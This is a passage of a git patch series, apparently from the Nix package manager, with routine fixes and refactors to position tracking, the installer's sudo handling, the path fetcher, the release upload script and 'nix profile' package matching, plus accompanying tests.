mutable uint32_t idx = std::numeric_limits::max(); + uint32_t offset; - // Used for searching in PosTable::[]. - explicit Origin(uint32_t idx) - : idx(idx) - , origin{std::monostate()} - { - } + Origin(Pos::Origin origin, uint32_t offset, size_t size): + offset(offset), origin(origin), size(size) + {} public: const Pos::Origin origin; + const size_t size; - Origin(Pos::Origin origin) - : origin(origin) + uint32_t offsetOf(PosIdx p) const { + return p.id - 1 - offset; } }; - struct Offset - { - uint32_t line, column; - }; - private: - std::vector origins; - ChunkedVector offsets; + using Lines = std::vector; -public: - PosTable() - : offsets(1024) - { - origins.reserve(1024); - } + std::map origins; + mutable Sync> lines; - PosIdx add(const Origin & origin, uint32_t line, uint32_t column) + const Origin * resolve(PosIdx p) const { - const auto idx = offsets.add({line, column}).second; - if (origins.empty() || origins.back().idx != origin.idx) { - origin.idx = idx; - origins.push_back(origin); - } - return PosIdx(idx + 1); - } + if (p.id == 0) + return nullptr; - Pos operator[](PosIdx p) const - { - if (p.id == 0 || p.id > offsets.size()) - return {}; const auto idx = p.id - 1; /* we want the last key <= idx, so we'll take prev(first key > idx). - this is guaranteed to never rewind origin.begin because the first - key is always 0. */ - const auto pastOrigin = std::upper_bound( - origins.begin(), origins.end(), Origin(idx), [](const auto & a, const auto & b) { return a.idx < b.idx; }); - const auto origin = *std::prev(pastOrigin); - const auto offset = offsets[idx]; - return {offset.line, offset.column, origin.origin}; + this is guaranteed to never rewind origin.begin because the first + key is always 0. */ + const auto pastOrigin = origins.upper_bound(idx); + return &std::prev(pastOrigin)->second; + } + +public: + Origin addOrigin(Pos::Origin origin, size_t size) + { + uint32_t offset = 0; + if (auto it = origins.rbegin(); it != origins.rend()) + offset = it->first + it->second.size; + // +1 because all PosIdx are offset by 1 to begin with, and + // another +1 to ensure that all origins can point to EOF, eg + // on (invalid) empty inputs. + if (2 + offset + size < offset) + return Origin{origin, offset, 0}; + return origins.emplace(offset, Origin{origin, offset, size}).first->second; + } + + PosIdx add(const Origin & origin, size_t offset) + { + if (offset > origin.size) + return PosIdx(); + return PosIdx(1 + origin.offset + offset); + } + + Pos operator[](PosIdx p) const; + + Pos::Origin originOf(PosIdx p) const + { + if (auto o = resolve(p)) + return o->origin; + return std::monostate{}; } }; diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 78f7f71ed..a7687fa06 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -2524,6 +2524,54 @@ static RegisterPrimOp primop_unsafeGetAttrPos(PrimOp { .fun = prim_unsafeGetAttrPos, }); +// access to exact position information (ie, line and colum numbers) is deferred +// due to the cost associated with calculating that information and how rarely +// it is used in practice. this is achieved by creating thunks to otherwise +// inaccessible primops that are not exposed as __op or under builtins to turn +// the internal PosIdx back into a line and column number, respectively. exposing +// these primops in any way would at best be not useful and at worst create wildly +// indeterministic eval results depending on parse order of files. +// +// in a simpler world this would instead be implemented as another kind of thunk, +// but each type of thunk has an associated runtime cost in the current evaluator. +// as with black holes this cost is too high to justify another thunk type to check +// for in the very hot path that is forceValue. +static struct LazyPosAcessors { + PrimOp primop_lineOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer)].line); + } + }; + PrimOp primop_columnOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer)].column); + } + }; + + Value lineOfPos, columnOfPos; + + LazyPosAcessors() + { + lineOfPos.mkPrimOp(&primop_lineOfPos); + columnOfPos.mkPrimOp(&primop_columnOfPos); + } + + void operator()(EvalState & state, const PosIdx pos, Value & line, Value & column) + { + Value * posV = state.allocValue(); + posV->mkInt(pos.id); + line.mkApp(&lineOfPos, posV); + column.mkApp(&columnOfPos, posV); + } +} makeLazyPosAccessors; + +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column) +{ + makeLazyPosAccessors(state, pos, line, column); +} + /* Dynamic version of the `?' operator. */ static void prim_hasAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) { diff --git a/src/libexpr/primops.hh b/src/libexpr/primops.hh index 45486608f..9f76975db 100644 --- a/src/libexpr/primops.hh +++ b/src/libexpr/primops.hh @@ -51,4 +51,6 @@ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Valu */ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column); + } diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index 6d7649b3c..b1426edae 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -151,7 +151,7 @@ namespace nix { } TEST_F(PrimOpTest, unsafeGetAttrPos) { - state.corepkgsFS->addFile(CanonPath("foo.nix"), "{ y = \"x\"; }"); + state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }"); auto expr = "builtins.unsafeGetAttrPos \"y\" (import )"; auto v = eval(expr); @@ -165,10 +165,12 @@ namespace nix { auto line = v.attrs->find(createSymbol("line")); ASSERT_NE(line, nullptr); - ASSERT_THAT(*line->value, IsIntEq(1)); + state.forceValue(*line->value, noPos); + ASSERT_THAT(*line->value, IsIntEq(4)); auto column = v.attrs->find(createSymbol("column")); ASSERT_NE(column, nullptr); + state.forceValue(*column->value, noPos); ASSERT_THAT(*column->value, IsIntEq(3)); } diff --git a/tests/unit/libexpr/value/print.cc b/tests/unit/libexpr/value/print.cc index aabf156c2..d2d699a64 100644 --- a/tests/unit/libexpr/value/print.cc +++ b/tests/unit/libexpr/value/print.cc @@ -110,8 +110,8 @@ TEST_F(ValuePrintingTests, vLambda) .up = nullptr, .values = { } }; - PosTable::Origin origin((std::monostate())); - auto posIdx = state.positions.add(origin, 1, 1); + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); auto formals = Formals {}; @@ -558,8 +558,8 @@ TEST_F(ValuePrintingTests, ansiColorsLambda) .up = nullptr, .values = { } }; - PosTable::Origin origin((std::monostate())); - auto posIdx = state.positions.add(origin, 1, 1); + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); auto formals = Formals {}; From e4500e539eae64a79ed5309a9c48475edae96218 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 7 Mar 2024 00:02:21 +0100 Subject: [PATCH 45/90] doc/glossary: Fix file system object anchor It was stealing the store object id. Browsers pick the first one. It was confusing. --- doc/manual/src/glossary.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index a71b2e2b3..c4d9c2a52 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -86,7 +86,7 @@ [store path]: #gloss-store-path -- [file system object]{#gloss-store-object} +- [file system object]{#gloss-file-system-object} The Nix data model for representing simplified file system data. From 9c64a09c709e3f995d7f24cdd5a69435c08488fc Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Wed, 6 Mar 2024 20:52:58 -0800 Subject: [PATCH 46/90] fix: bounds check result in getMaxCPU Fixes https://github.com/NixOS/nix/issues/9725 --- src/libutil/current-process.cc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index 47aa137d8..f80f43ef0 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -38,6 +38,11 @@ unsigned int getMaxCPU() auto cpuMax = readFile(cpuFile); auto cpuMaxParts = tokenizeString>(cpuMax, " \n"); + + if (cpuMaxParts.size() != 2) { + return 0; + } + auto quota = cpuMaxParts[0]; auto period = cpuMaxParts[1]; if (quota != "max") From 739f53aca4f7971165150b910061903c7d015ca6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 08:52:43 +0100 Subject: [PATCH 47/90] Revert "Fix sudo in the darwin installer (#10128)" This reverts commit 686405ef416955621a89815e07cb64e1ee4f1495. --- scripts/install-multi-user.sh | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 4d6a1914e..1dbb93bf9 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -69,17 +69,16 @@ readonly PROXY_ENVIRONMENT_VARIABLES=( NO_PROXY ) -SUDO_KEPT_ENVIRONMENT_VARIABLES="" +SUDO_EXTRA_ENVIRONMENT_VARIABLES=() setup_sudo_extra_environment_variables() { + local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do if [ "x${!variable:-}" != "x" ]; then - SUDO_KEPT_ENVIRONMENT_VARIABLES="$SUDO_KEPT_ENVIRONMENT_VARIABLES,$variable" + SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" + i=$((i + 1)) fi done - - # Required by the darwin installer - export SUDO_KEPT_ENVIRONMENT_VARIABLES } setup_sudo_extra_environment_variables @@ -387,7 +386,7 @@ _sudo() { if is_root; then env "$@" else - sudo --preserve-env="$SUDO_KEPT_ENVIRONMENT_VARIABLES" "$@" + sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" fi } From f175b3a4b755d1955787d66bbf8e2ee483f2b192 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 08:53:14 +0100 Subject: [PATCH 48/90] Revert "`install-multi-user.sh`: `_sudo`: add proxy variables to sudo" This reverts commit 24fd7e2755bed3a854f8089c2db2fed89eb07f56. --- scripts/install-multi-user.sh | 27 +-------------------------- 1 file changed, 1 insertion(+), 26 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 1dbb93bf9..ad3ee8881 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -58,31 +58,6 @@ readonly EXTRACTED_NIX_PATH="$(dirname "$0")" readonly ROOT_HOME=~root -readonly PROXY_ENVIRONMENT_VARIABLES=( - http_proxy - https_proxy - ftp_proxy - no_proxy - HTTP_PROXY - HTTPS_PROXY - FTP_PROXY - NO_PROXY -) - -SUDO_EXTRA_ENVIRONMENT_VARIABLES=() - -setup_sudo_extra_environment_variables() { - local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} - for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do - if [ "x${!variable:-}" != "x" ]; then - SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" - i=$((i + 1)) - fi - done -} - -setup_sudo_extra_environment_variables - if [ -t 0 ] && [ -z "${NIX_INSTALLER_YES:-}" ]; then readonly IS_HEADLESS='no' else @@ -386,7 +361,7 @@ _sudo() { if is_root; then env "$@" else - sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" + sudo "$@" fi } From 0282499e183c3a7aa4aa263b242f4ddcb401220f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 7 Mar 2024 13:28:52 +0100 Subject: [PATCH 49/90] PathInputScheme::getFingerprint(): Don't barf on relative paths This wasn't caught by CI because #10149 and #10152 pass individually... It doesn't happen on lazy-trees either because we never try to fetch relative path flakes (#10089). --- src/libfetchers/path.cc | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index f1910a5dc..0af1bad73 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -89,6 +89,15 @@ struct PathInputScheme : InputScheme writeFile((CanonPath(getAbsPath(input)) / path).abs(), contents); } + std::optional isRelative(const Input & input) const + { + auto path = getStrAttr(input.attrs, "path"); + if (hasPrefix(path, "/")) + return std::nullopt; + else + return path; + } + bool isLocked(const Input & input) const override { return (bool) input.getNarHash(); @@ -151,6 +160,9 @@ struct PathInputScheme : InputScheme std::optional getFingerprint(ref store, const Input & input) const override { + if (isRelative(input)) + return std::nullopt; + /* If this path is in the Nix store, use the hash of the store object and the subpath. */ auto path = getAbsPath(input); From a3163b9eabb952b4aa96e376dea95ebcca97b31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 14:52:40 +0100 Subject: [PATCH 50/90] Fix the outputs moving on macOS --- src/libstore/build/local-derivation-goal.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 6e8e1fa18..a9b6a8dbf 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2547,8 +2547,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() // Replace the output by a fresh copy of itself to make sure // that there's no stale file descriptor pointing to it Path tmpOutput = actualPath + ".tmp"; - renameFile(actualPath, tmpOutput); - copyFile(tmpOutput, actualPath, true); + copyFile(actualPath, tmpOutput, true); + renameFile(tmpOutput, actualPath); auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, From 091f2328962fccfd71602b0b7c072c8d08291c86 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 7 Mar 2024 15:18:03 +0100 Subject: [PATCH 51/90] maintainers/upload-release.pl: Handle 2.3 and 2.18 branches --- maintainers/upload-release.pl | 69 ++++++++++++++++++++++++----------- 1 file changed, 47 insertions(+), 22 deletions(-) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 4e2c379f0..f2830a3af 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -11,6 +11,8 @@ use JSON::PP; use LWP::UserAgent; use Net::Amazon::S3; +delete $ENV{'shell'}; # shut up a LWP::UserAgent.pm warning + my $evalId = $ARGV[0] or die "Usage: $0 EVAL-ID\n"; my $releasesBucketName = "nix-releases"; @@ -36,9 +38,9 @@ sub fetch { my $evalUrl = "https://hydra.nixos.org/eval/$evalId"; my $evalInfo = decode_json(fetch($evalUrl, 'application/json')); #print Dumper($evalInfo); -my $flakeUrl = $evalInfo->{flake} or die; -my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die); -my $nixRev = $flakeInfo->{revision} or die; +my $flakeUrl = $evalInfo->{flake}; +my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die) if $flakeUrl; +my $nixRev = ($flakeInfo ? $flakeInfo->{revision} : $evalInfo->{jobsetevalinputs}->{nix}->{revision}) or die; my $buildInfo = decode_json(fetch("$evalUrl/job/build.x86_64-linux", 'application/json')); #print Dumper($buildInfo); @@ -83,12 +85,19 @@ my $channelsBucket = $s3_us->bucket($channelsBucketName) or die; sub getStorePath { my ($jobName, $output) = @_; my $buildInfo = decode_json(fetch("$evalUrl/job/$jobName", 'application/json')); - return $buildInfo->{buildoutputs}->{$output or "out"}->{path} or die "cannot get store path for '$jobName'"; + return $buildInfo->{buildoutputs}->{$output or "out"}->{path} // die "cannot get store path for '$jobName'"; } sub copyManual { - my $manual = getStorePath("build.x86_64-linux", "doc"); - print "$manual\n"; + my $manual; + eval { + $manual = getStorePath("build.x86_64-linux", "doc"); + }; + if ($@) { + warn "$@"; + return; + } + print "Manual: $manual\n"; my $manualNar = "$tmpDir/$releaseName-manual.nar.xz"; print "$manualNar\n"; @@ -154,19 +163,33 @@ downloadFile("binaryTarball.x86_64-linux", "1"); downloadFile("binaryTarball.aarch64-linux", "1"); downloadFile("binaryTarball.x86_64-darwin", "1"); downloadFile("binaryTarball.aarch64-darwin", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv6l-unknown-linux-gnueabihf", "1"); -downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv6l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; +eval { + downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); +}; +warn "$@" if $@; downloadFile("installerScript", "1"); # Upload docker images to dockerhub. my $dockerManifest = ""; my $dockerManifestLatest = ""; +my $haveDocker = 0; for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { my $system = $platforms->[0]; my $dockerPlatform = $platforms->[1]; my $fn = "nix-$version-docker-image-$dockerPlatform.tar.gz"; - downloadFile("dockerImage.$system", "1", $fn); + eval { + downloadFile("dockerImage.$system", "1", $fn); + }; + if ($@) { + warn "$@" if $@; + next; + } + $haveDocker = 1; print STDERR "loading docker image for $dockerPlatform...\n"; system("docker load -i $tmpDir/$fn") == 0 or die; @@ -194,21 +217,23 @@ for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { $dockerManifestLatest .= " --amend $latestTag" } -print STDERR "creating multi-platform docker manifest...\n"; -system("docker manifest rm nixos/nix:$version"); -system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; -if ($isLatest) { - print STDERR "creating latest multi-platform docker manifest...\n"; - system("docker manifest rm nixos/nix:latest"); - system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; -} +if ($haveDocker) { + print STDERR "creating multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:$version"); + system("docker manifest create nixos/nix:$version $dockerManifest") == 0 or die; + if ($isLatest) { + print STDERR "creating latest multi-platform docker manifest...\n"; + system("docker manifest rm nixos/nix:latest"); + system("docker manifest create nixos/nix:latest $dockerManifestLatest") == 0 or die; + } -print STDERR "pushing multi-platform docker manifest...\n"; -system("docker manifest push nixos/nix:$version") == 0 or die; + print STDERR "pushing multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:$version") == 0 or die; -if ($isLatest) { - print STDERR "pushing latest multi-platform docker manifest...\n"; - system("docker manifest push nixos/nix:latest") == 0 or die; + if ($isLatest) { + print STDERR "pushing latest multi-platform docker manifest...\n"; + system("docker manifest push nixos/nix:latest") == 0 or die; + } } # Upload nix-fallback-paths.nix. From 4b4c71e2391802ed98e0274b631cba1a4cfa66f9 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Thu, 7 Mar 2024 08:15:25 -0800 Subject: [PATCH 52/90] Restore "checking Hydra job" message in `nix flake check` Mistakenly removed in #8893, thanks @lf- for catching this! https://github.com/NixOS/nix/commit/9404ce36e4edd1df12892089bdab1ceb7d4d7a97#r139485316 --- src/nix/flake.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 1822b990f..a846f6371 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -482,6 +482,8 @@ struct CmdFlakeCheck : FlakeCommand checkHydraJobs = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking Hydra job '%s'", attrPath)); state->forceAttrs(v, pos, ""); if (state->isDerivation(v)) From 741a6bfad53d1efbc34fb148c8ca4b9dc01691d4 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 22:27:16 +0100 Subject: [PATCH 53/90] profile: allow different types of matchers --- src/nix/profile.cc | 164 ++++++++++++++++++++++++--------------------- 1 file changed, 89 insertions(+), 75 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index fc669d5ed..41dcccc50 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -453,55 +453,86 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile } }; -class MixProfileElementMatchers : virtual Args +enum MatcherType { - std::vector _matchers; + Regex, + StorePath, +}; + +struct Matcher +{ + MatcherType type; + std::string title; + std::function matches; +}; + +Matcher createRegexMatcher(const std::string & pattern) +{ + std::regex reg(pattern, std::regex::extended | std::regex::icase); + return { + .type = MatcherType::Regex, + .title = fmt("Regex '%s'", pattern), + .matches = [reg](const std::string &name, const ProfileElement & element) { + return std::regex_match(element.identifier(), reg); + }, + }; +} + +Matcher createStorePathMatcher(const nix::StorePath & storePath) +{ + return { + .type = MatcherType::StorePath, + .title = fmt("Store path '%s'", storePath.to_string()), + .matches = [storePath](const std::string &name, const ProfileElement & element) { + return element.storePaths.count(storePath); + } + }; +} + +class MixProfileElementMatchers : virtual Args, virtual StoreCommand +{ + std::vector _matchers; public: MixProfileElementMatchers() { - expectArgs("elements", &_matchers); + expectArgs(ExpectedArg { + .label = "elements", + .optional = true, + .handler = {[this](std::vector args) { + for (auto & arg : args) { + if (auto n = string2Int(arg)) { + throw Error("'nix profile' no longer supports indices ('%d')", *n); + } else if (getStore()->isStorePath(arg)) { + _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); + } else { + _matchers.push_back(createRegexMatcher(arg)); + } + } + }} + }); } - struct RegexPattern { - std::string pattern; - std::regex reg; - }; - typedef std::variant Matcher; - - std::vector getMatchers(ref store) - { - std::vector res; - - for (auto & s : _matchers) { - if (auto n = string2Int(s)) - throw Error("'nix profile' no longer supports indices ('%d')", *n); - else if (store->isStorePath(s)) - res.push_back(s); - else - res.push_back(RegexPattern{s,std::regex(s, std::regex::extended | std::regex::icase)}); + std::set getMatchingElementNames(ProfileManifest & manifest) { + if (_matchers.empty()) { + throw UsageError("No packages specified."); } - return res; - } - - bool matches( - const Store & store, - const std::string & name, - const ProfileElement & element, - const std::vector & matchers) - { - for (auto & matcher : matchers) { - if (auto path = std::get_if(&matcher)) { - if (element.storePaths.count(store.parseStorePath(*path))) return true; - } else if (auto regex = std::get_if(&matcher)) { - if (std::regex_match(name, regex->reg)) - return true; + std::set result; + for (auto & matcher : _matchers) { + bool foundMatch = false; + for (auto & [name, element] : manifest.elements) { + if (matcher.matches(name, element)) { + result.insert(name); + foundMatch = true; + } + } + if (!foundMatch) { + warn("%s does not match any packages in the profile.", matcher.title); } } - - return false; + return result; } }; @@ -523,16 +554,19 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem { ProfileManifest oldManifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); + ProfileManifest newManifest = oldManifest; - ProfileManifest newManifest; + auto matchingElementNames = getMatchingElementNames(oldManifest); - for (auto & [name, element] : oldManifest.elements) { - if (!matches(*store, name, element, matchers)) { - newManifest.elements.insert_or_assign(name, std::move(element)); - } else { - notice("removing '%s'", element.identifier()); - } + if (matchingElementNames.empty()) { + warn ("No packages to remove. Use 'nix profile list' to see the current profile."); + return; + } + + for (auto & name : matchingElementNames) { + auto & element = oldManifest.elements[name]; + notice("removing '%s'", element.identifier()); + newManifest.elements.erase(name); } auto removedCount = oldManifest.elements.size() - newManifest.elements.size(); @@ -540,16 +574,6 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem removedCount, newManifest.elements.size()); - if (removedCount == 0) { - for (auto matcher: matchers) { - if (const Path * path = std::get_if(&matcher)) { - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)) { - warn("'%s' does not match any packages", regex->pattern); - } - } - warn ("Use 'nix profile list' to see the current profile."); - } updateProfile(newManifest.build(store)); } }; @@ -572,20 +596,20 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf { ProfileManifest manifest(*getEvalState(), *profile); - auto matchers = getMatchers(store); - Installables installables; std::vector elems; - auto matchedCount = 0; auto upgradedCount = 0; - for (auto & [name, element] : manifest.elements) { - if (!matches(*store, name, element, matchers)) { - continue; - } + auto matchingElementNames = getMatchingElementNames(manifest); - matchedCount++; + if (matchingElementNames.empty()) { + warn("No packages to upgrade. Use 'nix profile list' to see the current profile."); + return; + } + + for (auto & name : matchingElementNames) { + auto & element = manifest.elements[name]; if (!element.source) { warn( @@ -641,18 +665,8 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf } if (upgradedCount == 0) { - if (matchedCount == 0) { - for (auto & matcher : matchers) { - if (const Path * path = std::get_if(&matcher)) { - warn("'%s' does not match any paths", *path); - } else if (const RegexPattern * regex = std::get_if(&matcher)) { - warn("'%s' does not match any packages", regex->pattern); - } - } - } else { - warn("Found some packages but none of them could be upgraded."); - } - warn ("Use 'nix profile list' to see the current profile."); + warn("Found some packages but none of them could be upgraded."); + return; } auto builtPaths = builtPathsPerInstallable( From d6f5da51d3ae11c6771c68ebb65e7a560af167b5 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 22:33:37 +0100 Subject: [PATCH 54/90] profile: match on package name instead of regex --- src/nix/profile.cc | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 41dcccc50..d79f1158b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -457,6 +457,7 @@ enum MatcherType { Regex, StorePath, + Name, }; struct Matcher @@ -489,6 +490,16 @@ Matcher createStorePathMatcher(const nix::StorePath & storePath) }; } +Matcher createNameMatcher(const std::string & name) { + return { + .type = MatcherType::Name, + .title = fmt("Package name '%s'", name), + .matches = [name](const std::string &elementName, const ProfileElement & element) { + return elementName == name; + } + }; +} + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { std::vector _matchers; @@ -507,7 +518,7 @@ public: } else if (getStore()->isStorePath(arg)) { _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); } else { - _matchers.push_back(createRegexMatcher(arg)); + _matchers.push_back(createNameMatcher(arg)); } } }} From 87741dbd2118b0c90db6a37525b36c7bc93617ce Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 20:33:59 +0100 Subject: [PATCH 55/90] profile: add --regex option to match packages --- src/nix/profile-remove.md | 2 +- src/nix/profile-upgrade.md | 2 +- src/nix/profile.cc | 10 +++++++++- tests/functional/nix-profile.sh | 10 ++++++++++ 4 files changed, 21 insertions(+), 3 deletions(-) diff --git a/src/nix/profile-remove.md b/src/nix/profile-remove.md index 1f6532250..e2dea3389 100644 --- a/src/nix/profile-remove.md +++ b/src/nix/profile-remove.md @@ -11,7 +11,7 @@ R""( * Remove all packages: ```console - # nix profile remove '.*' + # nix profile remove --regex '.*' ``` * Remove a package by store path: diff --git a/src/nix/profile-upgrade.md b/src/nix/profile-upgrade.md index 432b8fa94..e04ad109e 100644 --- a/src/nix/profile-upgrade.md +++ b/src/nix/profile-upgrade.md @@ -6,7 +6,7 @@ R""( reference: ```console - # nix profile upgrade '.*' + # nix profile upgrade --regex '.*' ``` * Upgrade a specific package by name: diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d79f1158b..c08d02e70 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -508,7 +508,15 @@ public: MixProfileElementMatchers() { - expectArgs(ExpectedArg { + addFlag({ + .longName = "regex", + .description = "A regular expression to match one or more packages in the profile.", + .labels = {"pattern"}, + .handler = {[this](std::string arg) { + _matchers.push_back(createRegexMatcher(arg)); + }}, + }); + expectArgs({ .label = "elements", .optional = true, .handler = {[this](std::vector args) { diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 88b713d53..274b72de2 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -71,6 +71,16 @@ nix profile upgrade flake1 [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello NixOS" ]] nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 2.0, 2.0-man" +# Test upgrading package using regular expression. +printf 2.1 > $flake1Dir/version +nix profile upgrade --regex '.*' +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] +nix profile rollback + +# Test removing all packages using regular expression. +nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages" +nix profile rollback + # Test 'history', 'diff-closures'. nix profile diff-closures From 9fac62435c5f05783456512b09e3f207a9d62004 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 23:35:10 +0100 Subject: [PATCH 56/90] tests/functional: add assertStderr function Currently there isn't a convenient way to check for multiline output. In addition, these outputs will easily change and having a diff between the expected an the actual output upon failures is convenient. --- tests/functional/common/vars-and-functions.sh.in | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh.in index 8fef29f97..3975986c0 100644 --- a/tests/functional/common/vars-and-functions.sh.in +++ b/tests/functional/common/vars-and-functions.sh.in @@ -216,6 +216,17 @@ expectStderr() { return 0 } +# Run a command and check whether the stderr matches stdin. +# Show a diff when output does not match. +# Usage: +# +# assertStderr nix profile remove nothing << EOF +# error: This error is expected +# EOF +assertStderr() { + diff -u /dev/stdin <($@ 2>/dev/null 2>&1) +} + needLocalStore() { if [[ "$NIX_REMOTE" == "daemon" ]]; then skipTest "Can’t run through the daemon ($1)" From fb391ebc77cc02d74eae4b4826137ed0d79b0455 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 28 Feb 2024 23:39:45 +0100 Subject: [PATCH 57/90] profile: add tests for not matching any packages --- tests/functional/nix-profile.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 274b72de2..67c8bcc98 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -77,6 +77,18 @@ nix profile upgrade --regex '.*' [[ $(readlink 